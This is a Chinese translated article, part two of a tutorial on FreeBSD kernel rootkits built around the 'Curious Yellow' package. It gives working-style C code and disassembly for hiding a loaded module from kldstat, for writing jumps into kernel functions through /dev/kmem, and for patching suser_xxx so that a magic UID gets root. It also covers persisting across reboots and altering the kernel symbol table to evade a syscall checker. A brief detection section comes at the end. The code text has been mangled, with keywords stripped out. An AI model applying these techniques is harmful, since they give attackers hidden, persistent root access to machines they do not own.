内核模块:玩转freebsd内核模块(2)

  文章第部分:http://tech.ddvip.com/2007-01/116870106917928.html

  3.6.隐藏模块

  重要我们当然要隐藏模块自身了(kldstat|kldstat-v区别;))

  前面我们已经提到了维持了系列连入内核文件(.ko)是个队列linker_files(这个是个linker_file结构队列)所以我们要首先隐藏文件本身队列linker_files定义在/sys/kern/kern_linker.c此外它还有个计数单元定义在next_file_id,这个

  数应该是现在文件数+1所以我们要首先递减它相同还有个内核用来统计引用值现在从队列中删除模块

      externlinker_file_list_tlinker_files;
      externnext_file_id;
      externstructlocklock;
      [...]
      linker_file_tlf=0;
      /*lockexclusive,sincewechangethings*/
      lockmgr(&lock,LK_EXCLUSIVE,0,curproc);
      (&linker_files)->tqh_first->refs--;
      TAILQ_FOREACH(lf,&linker_files,link){  //宏定义遍历队列得到linker_file结构
        (!strcmp(lf->filename,"cyellow.ko")){
         /*firstlet'sdecrementthegloballinkfilecounter*/
         next_file_id--;
         /*nowlet'sremovetheentry*/
         TAILQ_REMOVE(&linker_files,lf,link);//从队列中删除
         ;  
        }
      }
      lockmgr(&lock,LK_RELEASE,0,curproc);
  下步我们就要把文件包含模块也从模块队列中删除象文件队列其中也有引用计数以及模块计数单元

      externmodulelist_tmodules;
      externnextid;
      [...]
      module_tmod=0;
      TAILQ_FOREACH(mod,&modules,link){
        (!strcmp(mod->name,"cy")){
          /*firstlet'spatchtheernalIDcounter*/
          nextid--;
   
          TAILQ_REMOVE(&modules,mod,link);
        }
      }
      [...]
  现在我们看kldstat输出模块消失了注意当它从模块队列中消除后我们用modfind都找不到了这只是在当你模块中包含了系统然而我们可以通过手工计算偏移来引用它如果没有别模块加载它通常都是210CY允许你指定这个偏移值它是我相信可能还有其它思路方法来找到它

  3.6其它应用

  还有其他可以利用内核模块可以做得很多事比如tty劫持隐藏接口混杂模式或者通过个系统来改变进程uid为0下面内核补丁于此类似隐藏接口混杂模式修改/dev/kmem,只需要把借口标志清0就可以了这种情况下即使有人用 tcpdump接口模式也不会是混杂(:))

  当然通过/dev/kmem你可以得到很多有趣东西;)

  4.内核补丁

  模块并不是唯修改内核途径我们还可以利用/dev/kmem来复写已经存在数据代码在技术节中我已经描述了大概思路方法现在我们关键是写/dev/kmem.

  4.1介绍

  简单测试我们可以只是在某个内核开始处写如个返回地址我们用内核模块来做这样测试它不会影响正常运行 现在我们不让CY运行在隐蔽模式我们写个ret到cy_ctl并用cyctl发送命令到CY,啥都不会发生cy_ctl会简单返回 在tools/put.c有例子代码

  4.2插入跳转

  非常简单可以插入些跳转到某些这样可以重定向到我们代码并且不用修改系统表核任何其他表格这意味着你并不需要加载个模块来完成这件事通过写/dev/kmem当然了你也可以加载模块来完成

  在tools/putjump.c:

  /*这里是那个非常经典lkm里来自SilvioCesare  e4gle@whitecell前辈翻译过修改指定地址前7个字节来跳转到我们代码*/

/*thejump*/
unsignedcharcode="xb8x00x00x00x00" /*movl $0,%eax */
           "xffxe0"       /*jmp  *%eax  */
;

(argc,char**argv){
  charerrbuf[_POSIX2_LINE_MAX];
  longdf;
  kvm_t*kd;
  structnlistnl={{NULL},{NULL},{NULL},};
  (argc<3){
    fprf(stderr,"Usage:putjump[fromfunction][tofunction] ");
    exit(-1);
  }
  nl[0].n_name=argv[1];
  nl[1].n_name=argv[2];
  kd=kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
  (kdNULL){
    fprf(stderr,"ERROR:%s ",errbuf);
    exit(-1);
  }
  (kvm_nlist(kd,nl)<0){
    fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  (!nl[0].n_value){
    fprf(stderr,"Symbol%snotfound. ",nl[0].n_name);
    exit(-1);
  }
  (!nl[1].n_value){
    fprf(stderr,"Symbol%snotfound. ",nl[1].n_name);
    exit(-1);
  }
  prf("%sis0x%xat0x%x ",nl[0].n_name,nl[0].n_type,nl[0].n_value);  
  prf("%sis0x%xat0x%x ",nl[1].n_name,nl[1].n_type,nl[1].n_value);  
  /*theaddresstojumpto*/
  *(unsignedlong*)&code[1]=nl[1].n_value;
  (kvm_write(kd,nl[0].n_value,code,(code))<0){
    fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  prf("Writtenthejump ");
  (kvm_close(kd)<0){
    fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
    exit(-1);
  }
  exit(0);
}
  4.3替换内核代码

  为了避免修改已经存在我们可以采用jump思路方法但是我们还是必须要提供自己代码有些时候这可能很方便修改已经存在代码但是这不是通用思路方法它不能修补版本高内核(???)并且取决于编译器实现

  为了鉴别用户是否是root或者超级用户内核suser,然后suser返回并super_xxx,这将会检查用户是否是root,并授予某些特权比如原始套节字我提供了个例子来演示修改已经存在代码首先我们要找到这个地址用nm/kernel|grep super_xxx或者用tools/findsym查找suser_xxx在我电脑上它是0xc019d538也会差不多现在我们来看

  这里代码

#objdump-d/kernel--start-address=0xc019d538|more
/kernel:  fileformatelf32-i386
Disassemblyofsection.text:
c019d538:
c019d538:   55           push %ebp
c019d539:   89e5         mov  %esp,%ebp
c019d53b:   8b4508        mov  0x8(%ebp),%eax//参数cred
c019d53e:   8b550c        mov  0xc(%ebp),%edx//参数proc
c019d541:   85c0         test %eax,%eax //!cred
c019d543:   7520         jne  c019d565 
c019d545:   85d2         test %edx,%edx
c019d547:   7513         jne  c019d55c 
c019d549:   6890df36c0     push $0xc036df90
c019d54e:   e85ddb0000     call c01ab0b0  //prf
c019d553:   b801000000     mov  $0x1,%eax
c019d558:   eb32         jmp  c019d58c
c019d55a:   89f6         mov  %esi,%esi
c019d55c:   85c0         test %eax,%eax//!cred
c019d55e:   7505         jne  c019d565
c019d560:   8b4210        mov  0x10(%edx),%eax
c019d563:   8b00         mov  (%eax),%eax
c019d565:   83780400      cmpl $0x0,0x4(%eax)//cred->cr_uid!=0
c019d569:   75e8         jne  c019d553
c019d56b:   85d2         test %edx,%edx
c019d56d:   741b         je  c019d58a
c019d56f:   83ba6001000000  cmpl $0x0,0x160(%edx)
c019d576:   7407         je  c019d57f
c019d578:   8b4510        mov  0x10(%ebp),%eax
c019d57b:   a801         test $0x1,%al
c019d57d:   74d4         je  c019d553
c019d57f:   85d2         test %edx,%edx
c019d581:   7407         je  c019d58a
c019d583:   808a7201000002  orb  $0x2,0x172(%edx)
c019d58a:   31c0         xor  %eax,%eax
c019d58c:   c9           leave 
c019d58d:   c3           ret  
c019d58e:   89f6         mov  %esi,%esi
  这里是反汇编代码下面是源代码在/sys/kern/kern_prot.c


suser_xxx(cred,proc,flag)
    structucred*cred;
    structproc*proc;
    flag;
{
    (!cred&&!proc){
        prf("suser_xxx:THINK! ");
        (EPERM);
    }
    (!cred)
        cred=proc->p_ucred;
    (cred->cr_uid!=0)      ///------------------------------------|
        (EPERM);
    (proc&&proc->p_prison&&!(flag&PRISON_ROOT))
        (EPERM);
    (proc)
        proc->p_acflag|=ASU;
    (0);
}
  除非你是个assemblerperson,请看你可以注意到%eax存贮着cred,%edx存储着proc结构基本我们想改成这样

((cred->cr_uid!=0)&&(cred->cr_uid!=MAGIC_UID))
        (EPERM);
  现在我们要找个地方去存放上面代码用prf地址吧prf作用就是在suser_xxx在被时才有用现在我们假设没有人仔细看着它屏幕;)看看汇编代码中所有返回都是这样把EPERM=1放到%eax中c019d553:mov$0x1,%eax 看下uid=!0测试跳转到c019d553.

  c019d565:   83780400      cmpl $0x0,0x4(%eax)

  c019d569:   75e8         jne  c019d553   //75表示jne向上跳转到偏移e8e8是个负数-16

  我们看下我们将要放置新代码prf处(10个字节)

  c019d549:   6890df36c0     push $0xc036df90

  c019d54e:   e85ddb0000     call c01ab0b0

  现在我们需要修改跳转地址75表示jne向上跳转到偏移e8e8是个负数-16

  现在我们就要修改prf地址代码并添加我们自己check了(cred->cr_uid!=MAGIC_UID)首先我们用jmp0x7(来跳过这个检查)当它被“正常时“不出错就是在(!cred&&!proc)测试中然后添加我们检验代码

jmp0x07            eb07        /*跳过检查*/
cmpl$magic,0x4(%eax)    837804magic   /*检察MAGIC_UID*/
je0x39            7439        /*跳到结束*/
nop             90         /*用来填充字节*/
nop             90
  现在修改c019d569地址出75e8为75e0(后退8个字节)实际跳转到了cmpl$magic,0x4(%eax)这里来执行

  我们把它整合到特定MAGIC_UID=100;

#
#
#
#
#
#MAGIC_ADDR   0xc019d549
#MAKE_OR_ADDR  0xc019d569
unsignedcharmagic="xebx07"   /*jmp06*/
            "x83x78x04x00"   /*cmpl$magic,0x4(%eax)*/
            "x74x39"   /*jetoend*/
            "x90x90"   /*fillingnop*/
;
unsignedcharmakeor="x75xe0";  /*jnee0*/

(argc,char**argv){
    charerrbuf[_POSIX2_LINE_MAX];
    longdf;
    kvm_t*kd;
    u_32_tmagic_addr=MAGIC_ADDR;
    u_32_tmakeor_addr=MAKE_OR_ADDR;
    kd=kvm_openfiles(NULL,NULL,NULL,O_RDWR,errbuf);
    (kdNULL){
        fprf(stderr,"ERROR:%s ",errbuf);
        exit(-1);
    }
    (kvm_write(kd,MAGIC_ADDR,magic,(magic)-1)<0){
        fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
        exit(-1);
    }
    (kvm_write(kd,MAKE_OR_ADDR,makeor,(makeor)-1)<0){
        fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
        exit(-1);
    }
    (kvm_close(kd)<0){
        fprf(stderr,"ERROR:%s ",kvm_geterr(kd));
        exit(-1);
    }
    exit(0);
}
  在direct/fix_suser_xxx.c可能你会见到轻微改动它要求uid<256

  现在你可以copy/sbin/ping到你目录下测试下:)

  5.越过重启

  显然当重启后我们模块奖不能在使用所以我们可以把我们模块启动sh脚本放在/usr/local/etc/rc.d/(这个目录可以改变通过rc.conf:),其实放在loader.conf也不错)当然必须安全级别调整的前执行

  如果你通过上面/dev/kmem直接改变了内核代码,你可以把这些改变直接写进/kernel(hu,hu),我没有查elf相关文档但是看上去重定向地址应该是/kernel内偏移+0xc0100000,在你写你内核时请测试先在direct/fix_suser_xxx_kernel.c有个同样例子

  6.实战

  在先前例子中所有符号地址都来自/dev/kmem,但是它确切出处在哪里呢?它在内核中经常变化这些符号存储在elfhash表

  里面每个连入内核文件(object)都有它自己符号表在exp/symtable.c有个例子它在linker_files队列中查找第

  命名为kernel条目名被hash了并被重新获得符号找到的后它value就可以改变了


_symbol(structproc*p,struct_symbol_args*uap)
{
  linker_file_tlf;
  elf_file_tef;
  unsignedlongsymnum;
  constElf_Sym*symp=NULL;
  Elf_Sym_symp;
  constchar*strp;
  unsignedlonghash;
  caddr_taddress;
  error=0;
  mod_debug("Setsymbol%saddress0x%x ",uap->name,uap->address);
  lf=TAILQ_FIRST(&linker_files);
  ef=lf->priv;
  /*First,searchhashedglobalsymbols*/参见elf鉴别
  hash=elf_hash(uap->name);     //通过对名字hash可以加快寻找速度
  symnum=ef->buckets[hash%ef->nbuckets];//
  while(symnum!=STN_UNDEF){
    (symnum>=ef->nchains){
      prf("link_elf_lookup_symbol:corruptsymboltable ");
      ENOENT;
    }
    symp=ef->symtab+symnum;   //symtab节是静态符号节
    (symp->st_name0){//符号名字索引
      prf("link_elf_lookup_symbol:corruptsymboltable ");
      ENOENT;
    }
    strp=ef->strtab+symp->st_name;//符号名节
    (!strcmp(uap->name,strp)){
      /*foundthesymbolwiththegivenname*/
      (symp->st_shndx!=SHN_UNDEF||//关联索引
        (symp->st_value!=0&&ELF_ST_TYPE(symp->st_info)STT_FUNC)){//符号类型关联
        /*givesomedebuginfo*/
        address=(caddr_t)ef->address+symp->st_value;
    //符号地址=模块地址+st_value st_value表示文件偏移
        mod_debug("found%sat0x%x! ",uap->name,(uptr_t)address);
        bcopy(symp,&_symp,(Elf_Sym));
        _symp.st_value=uap->address;//改变成新地址
        address=(caddr_t)ef->address+_symp.st_value;
        mod_debug("addressis0x%x ",(uptr_t)address);
        /*theaddress*/
        bcopy(&_symp,(ef->symtab+symnum),(Elf_Sym));
        ;
        ;
      }
        (ENOENT);
    }
    symnum=ef->chains[symnum];
  }  
  /*fornowthisonlylooksattheglobalsymboltable*/
  (error);
}
  symtable是个单独模块它将加载上面用过所有系统你可以通过_sym工具来测试它将击败tool/checkcall

  7.保护你自己:猫和老鼠游戏

  现在你可能要问如何防止你系统发生这种情况也许你有兴趣和找到你自己:)

  下面我们来看几种检测思路方法:

  7.1检查符号表

  在上面例子中我们看到了系统表被修改了所以你可以检查系统表来发现修改种思路方法就是在系统启动时加载个包含有特殊目系统模块这个系统用来检查并和先前保存系统表对比

  上面思路方法很通用但是启它表被修改了呢?当然你可以添加更多别检查这种思路方法是不能检测到jump这种思路方法和直接修改内核思路方法

  你应该通过/dev/kmem监察系统在tools/checkcall有个例子它带有两个参数个是syscall名字还有个就是系统以此载系统表中来检查

  但是这样还是有问题比如利用在实战节中我们介绍思路方法我们只能得到地址下面例子中将用来证明假如我们加载了CY,现在假如我们想要检查open这个系统SYS_open系统号为5定义于/sys/sys/syscall.h

  我们作如下检测

  #tools/checkcallopen5

  Checkingsyscall5:open

  sysentis0x4at0xc03b7308

  sysent[5]isat0xc03b7330andwillgotofunctionat0xc0cd5bf4

  ALERT!Itshouldgoto0xc01ce5f8instead

  当然我们通过sym来修复这个问题当然你需要首先加载symtable这个模块

  #exp/sym0xc0cd5bf4open

  现在再用checkcall检查不会出现ALERT了它假设open就是在0xc0cd5bf4但是故事并没有结束我们可以通过实际检查kernel 来证实objdump-d/kernel--start-address=0xc0cd5bf4我们就会怀疑这个系统地址过高objdump在这个地址却没有发现任何东西暗示有问题了这表明你内核或者objdump被文件重向了然而这将会引起点小争论

  7.2陷阱模块

  另外你可以做就是加在个模块用来纪录kldload然后判断是拒绝还是加载在trapmod/有个例子你可以用非隐藏方式加载这个模块当然在安全级别提升前

  7.3

  

  7.4概论

  

  8.结论

  正如你所见到很多攻击技术同样可以用来防御通常隐藏个用来管理模块很重要作为个系统管理员隐藏些用来检测入侵shell和文件是必要如果你是个freebsd系统管理员应该时刻意识到即使系统处在个高安全级别也有很多需要注意地方

  这篇文章可以让你学到更多kernelworks,这是最重要;)

  9.代码

  文中提到所有代码都可以在CuriousYellow包中找到(地址:http://www.r4k.net/mod/cyellow-0.01.tar.gz;

  xfocus也有)

  10.References

  FreeBSD

  ExploitingKernelbufferoverflowsFreeBSDStylebyEsaEtelavuori

  AttackingFreeBSDwithKernelModules-TheCallApproachbypragmatic/THC

  DynamicKernelLinker(KLD)FacilityProgrammingTutorialbyAndrewReiter

  Linux

  RuntimeKernelKmemPatchingbySilvioCesare

  Inspiriation:)

  JeffNoon,"TheVurt"

  11.Thanks

  Thanksgoto:

  JobdeHaas    forgettingmeerestedhiswholestuff

  OlafErb     forcheckingthearticleforreadability:)

  andespeciallyAlexLeHeux



Tags:  linux2.6内核 freebsd6.2 linux内核模块 内核模块

延伸阅读

最新评论

发表评论